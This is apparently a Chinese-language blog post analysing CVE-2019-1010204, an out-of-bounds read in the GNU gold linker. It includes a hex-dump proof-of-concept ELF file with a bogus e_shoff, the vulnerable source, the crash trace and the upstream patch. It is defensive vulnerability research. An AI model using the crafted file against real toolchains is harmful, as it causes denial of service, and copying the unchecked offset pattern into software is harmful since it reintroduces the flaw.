10 Feb 2020

CVE-2019-1010204

CVE-2019-1010204

资料链接

  • GNU Binutils:https://www.gnu.org/software/binutils/
  • Release: http://ftp.gnu.org/gnu/binutils/
  • CVE-2019-1010204:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1010204

CVE-2019-1010204

GNU binutils gold gold v1.11-v1.16 (GNU binutils v2.21-v2.31.1) is affected by: Improper Input Validation, Signed/Unsigned Comparison, Out-of-bounds Read. The impact is: Denial of service. The component is: gold/fileread.cc:497, elfcpp/elfcpp_file.h:644. The attack vector is: An ELF file with an invalid e_shoff header field must be opened.

gold

A new, faster, ELF only linker, still in beta test.

复现

PoC

00000000   7F 45 4C 46  02 01 01 00  00 00 00 00  00 00 00 00  .ELF............
00000010   01 00 3E 00  00 00 00 00  00 00 00 00  00 00 00 00  ..>.............
00000020   00 00 00 00  00 00 00 00  E7 F5 0F DE  C0 55 DA BA  .............U..
00000030   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ................
readelf -a testcase.o
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              REL (Relocatable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x0
  Entry point address:               0x0
  Start of program headers:          0 (bytes into file)
  Start of section headers:          -10601762267335193 (bytes into file)
  Flags:                             0x0
  Size of this header:               0 (bytes)
  Size of program headers:           0 (bytes)
  Number of program headers:         0
  Size of section headers:           0 (bytes)
  Number of section headers:         0
  Section header string table index: 0
readelf: Warning: possibly corrupt ELF file header - it has a non-zero section header offset, but no section headers

There are no sections to group in this file.

There are no program headers in this file.

There is no dynamic section in this file.
  • e_shoff

    指明节头表开始处在文件中的偏移量。如果没有节头表,该值应设为0

    在elf.h中,对于64位elf文件

    Elf64_Off	e_shoff;		/* Section header table file offset */
    

    其中

    typedef uint64_t Elf64_Off;
    

    uint64_t为long long int

    poc中,e_shoff为

    E7 F5 0F DE  C0 55 DA BA
    
    Start of section headers:          -10601762267335193 (bytes into file)
    

源码

// fileread.cc
// Read SIZE bytes from the file starting at offset START.  Read into
// the buffer at P.

void
File_read::do_read(off_t start, section_size_type size, void* p)
{
  ssize_t bytes;
  if (this->whole_file_view_ != NULL)
    {
      bytes = this->size_ - start;
      if (static_cast<section_size_type>(bytes) >= size)
	{
	  memcpy(p, this->whole_file_view_->data() + start, size);
	  return;
	}
    }
  else
    {
      this->reopen_descriptor();

      char *read_ptr = static_cast<char *>(p);
      off_t read_pos = start;
      size_t to_read = size;
      do
	{
	  bytes = ::pread(this->descriptor_, read_ptr, to_read, read_pos);
	  if (bytes < 0)
	    gold_fatal(_("%s: pread failed: %s"),
		       this->filename().c_str(), strerror(errno));

	  read_pos += bytes;
	  read_ptr += bytes;
	  to_read -= bytes;
	  if (to_read == 0)
	    return;
	}
      while (bytes > 0);

      bytes = size - to_read;
    }

  gold_fatal(_("%s: file too short: read only %lld of %lld bytes at %lld"),
	     this->filename().c_str(),
	     static_cast<long long>(bytes),
	     static_cast<long long>(size),
	     static_cast<long long>(start));
}

// Read data from the file.

off_t类型用于指示偏移量,默认为long int,在64位系统中会被编译为long long int、

section_size_type在gold.h中

// The size of a section if we are going to look at the contents.
typedef size_t section_size_type;

在64位系统中

typedef  unsigned long size_t;

在do_read中,传入的start没有验证,如果传入一个大负数,执行memcpy时就会传入一个无效地址导致crash

File_read::do_read(off_t start, section_size_type size, void* p)
{
  ssize_t bytes;
  if (this->whole_file_view_ != NULL)
    {
      bytes = this->size_ - start;
      if (static_cast<section_size_type>(bytes) >= size)
	{
	  memcpy(p, this->whole_file_view_->data() + start, size);
	  return;
	}
    }

环境

uname -a
Linux abc-virtual-machine 4.15.0-29-generic #31-Ubuntu SMP Tue Jul 17 15:39:52 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

./gold -v
GNU gold (GNU Binutils for Ubuntu 2.30) 1.15

触发

./gold testcase.o
./gold:错误: testcase.o:bad e_ehsize (0 != 64)
./gold:错误: testcase.o:bad e_shentsize (0 != 64)
段错误

1

0x7ffff7532c3c <__memmove_avx_unaligned_erms+364>    vmovdqu ymm4, ymmword ptr [rsi]
rsi:this->whole_file_view_->data() + start = 0xbadad5c0d60f4000

补丁

在do_read中加入对start的验证

void
File_read::do_read(off_t start, section_size_type size, void* p)
{
  ssize_t bytes;
  if (this->whole_file_view_ != NULL)
    {
    	/*
    	+      // See PR 23765 for an example of a testcase that triggers this error.
    	+      if (((ssize_t) start) < 0)
    	+	gold_fatal(_("%s: read failed, starting offset (%#llx) less than zero"),
    	+		   this->filename().c_str(),
    	+		   static_cast<long long>(start));
    	+	
    	*/
      bytes = this->size_ - start;
      if (static_cast<section_size_type>(bytes) >= size)
	{
	  memcpy(p, this->whole_file_view_->data() + start, size);
	  return;
	}
    }
  else
    {
      this->reopen_descriptor();

      char *read_ptr = static_cast<char *>(p);
      off_t read_pos = start;
      size_t to_read = size;
      do
	{
	  bytes = ::pread(this->descriptor_, read_ptr, to_read, read_pos);
	  if (bytes < 0)
	    gold_fatal(_("%s: pread failed: %s"),
		       this->filename().c_str(), strerror(errno));

	  read_pos += bytes;
	  read_ptr += bytes;
	  to_read -= bytes;
	  if (to_read == 0)
	    return;
	}
      while (bytes > 0);

      bytes = size - to_read;
    }

  gold_fatal(_("%s: file too short: read only %lld of %lld bytes at %lld"),
	     this->filename().c_str(),
	     static_cast<long long>(bytes),
	     static_cast<long long>(size),
	     static_cast<long long>(start));
}

// Read data from the file.

Tags:
0 comments



本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).